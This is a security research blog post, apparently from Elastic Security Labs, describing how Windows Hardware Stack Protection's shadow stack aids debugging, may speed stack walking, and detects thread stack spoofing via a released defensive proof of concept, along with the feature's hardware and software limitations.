<p>Today we’re going to discuss three additional benefits that HSP brings, beyond the intended exploit mitigation capability, then go into some limitations.</p>
<h1>Debugging</h1>
<p>Although designed as an exploit mitigation, HSP provides useful data for other purposes. Modern versions of <a href="https://apps.microsoft.com/store/detail/windbg-preview/9PGJGD53TN86?hl=en-us&amp;gl=us">WinDbg</a> will display a hint to the user that they can use SSP as an alternate way to recover a stack trace. This can be very useful when debugging stack corruption bugs that overwrite return addresses, because the shadow stack is independent. It's also useful in situations where the stack unwind data is unavailable.</p>
<p>For example, see the WinDbg output below for a process memory dump. The <code>k</code> command displays a regular stack trace. <code>dps @ssp</code> resolves all symbols it can find, starting at SSP - this is essentially a shadow stack trace. Note how the two stack traces are identical except for the first frame:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finding-truth-in-the-shadows/image3.png" alt="Note the similarities" /></p>
<h1>Performance</h1>
<p>Kernel mode components such as EDR and ETW often capture stack traces to provide additional context to each event. On x64 platforms, a stack walk entails capturing the thread’s context, then looking up a data structure for each frame that enables the walker to &quot;unwind&quot; it and find the next frame. These lookups were slow enough that Microsoft saw fit to construct a <a href="http://uninformed.org/index.cgi?v=8&amp;a=2&amp;p=20">multi-tier cache system</a> when they added x64 support. You can see the traverse/unwind process approximated <a href="https://github.com/reactos/reactos/blob/11a71418d50f48ff0e10d2dbbe243afaf34c4368/sdk/lib/rtl/amd64/unwind.c#L909C6-L1011">here</a> in ReactOS, sans cache.</p>
<p>Given that the entire shadow stack likely resides on a single page and no unwinding is required, shadow stack walking is probably more performant than traditional stack walking, though this has yet to be proven.</p>
<h1>Detection</h1>
<p>The shadow stack provides an interesting detection opportunity. Adversaries can use techniques demonstrated in <a href="https://github.com/mgeeky/ThreadStackSpoofer/tree/master">ThreadStackSpoofer</a> and <a href="https://github.com/WithSecureLabs/CallStackSpoofer">CallStackSpoofer</a> to obfuscate their presence against thread stack scans (e.g. <code>StackWalk64</code>) and inline stack traces like <a href="https://www.lares.com/blog/hunting-in-the-sysmon-call-trace/">Sysmon Open Process events</a>.</p>
<p>By comparing a traditional stack walk against its shadowy sibling, we can both detect and bypass thread stack spoofing. We present <a href="https://github.com/gabriellandau/ShadowStackWalk">ShadowStackWalk</a>, a PoC that implements CaptureStackBackTrace/StackWalk64 using the shadow stack to catch thread stack spoofing.</p>
<p>When the stack is normal, ShadowStackWalk functions similarly to <code>CaptureStackBackTrace</code> and <code>StackWalk64</code>:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finding-truth-in-the-shadows/image7.jpg" alt="ShadowStackWalk normal stack" /></p>
<p>ShadowStackWalk is unaffected by intentional breaks of the call stack such as <a href="https://github.com/mgeeky/ThreadStackSpoofer/blob/f67caea38a7acdb526eae3aac7c451a08edef6a9/ThreadStackSpoofer/main.cpp#L20-L25">ThreadStackSpoofer</a>. Frames missed by other techniques are in green:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finding-truth-in-the-shadows/image8.jpg" alt="ShadowStackWalk encounters a broken call stack" /></p>
<p>ShadowStackWalk doesn't care about forged stack frames. Incorrect frames are in red. Frames missed by other techniques are in green:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finding-truth-in-the-shadows/image9.jpg" alt="Forged stack frames? No Problem." /></p>
<h1>Limitations</h1>
<p>Hardware support for HSP is limited. HSP requires at least an 11th-gen Intel or 5000-series Ryzen CPU, both released in late 2020. There is no software emulation. It will take years for the majority of CPUs to support HSP.</p>
<p>Software support for HSP is limited. Microsoft has been slowly rolling it out, even among their own processes. On an example Windows 10 22H2 workstation, it's enabled in roughly 40% of processes. Because HSP is an exploit mitigation, implementation will likely start with common exploitation targets like web browsers, though not all msedge.exe processes shown below are not protected by it. As HSP matures and support improves, non-HSP processes will become outliers worthy of additional scrutiny, similar to processes in 2023 without DEP support. For now, malware can simply choose processes without HSP enabled. Also of note is that HSP does not support WOW64 at all.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/finding-truth-in-the-shadows/image2.jpg" alt="Software support for HSP is limited, even among Microsoft's processes (in red). Contrasted (in blue) against mature technologies like DEP and ASLR" /></p>
<p>HSP was designed with an exploit mitigation threat model. It was never designed to defend against adversaries who have code execution, can change thread contexts, and perform system calls. In time, adversaries will adapt their call stack manipulations to manipulate the shadow stack as well. However, the fact that the shadow stack is user-RO and changing the SSP is privileged operation means that such tampering requires system calls which can (theoretically) be subjected to far more scrutiny than traditional stack tampering.</p>
<h1>Conclusion</h1>
<p>Today we discussed three potential benefits of Windows Hardware Stack Protection, and released <a href="https://github.com/gabriellandau/ShadowStackWalk">a PoC</a> demonstrating how it can be used to both detect and defeat defense evasions that manipulate the call stack.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/finding-truth-in-the-shadows/blog-thumb-laser-tunnel.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>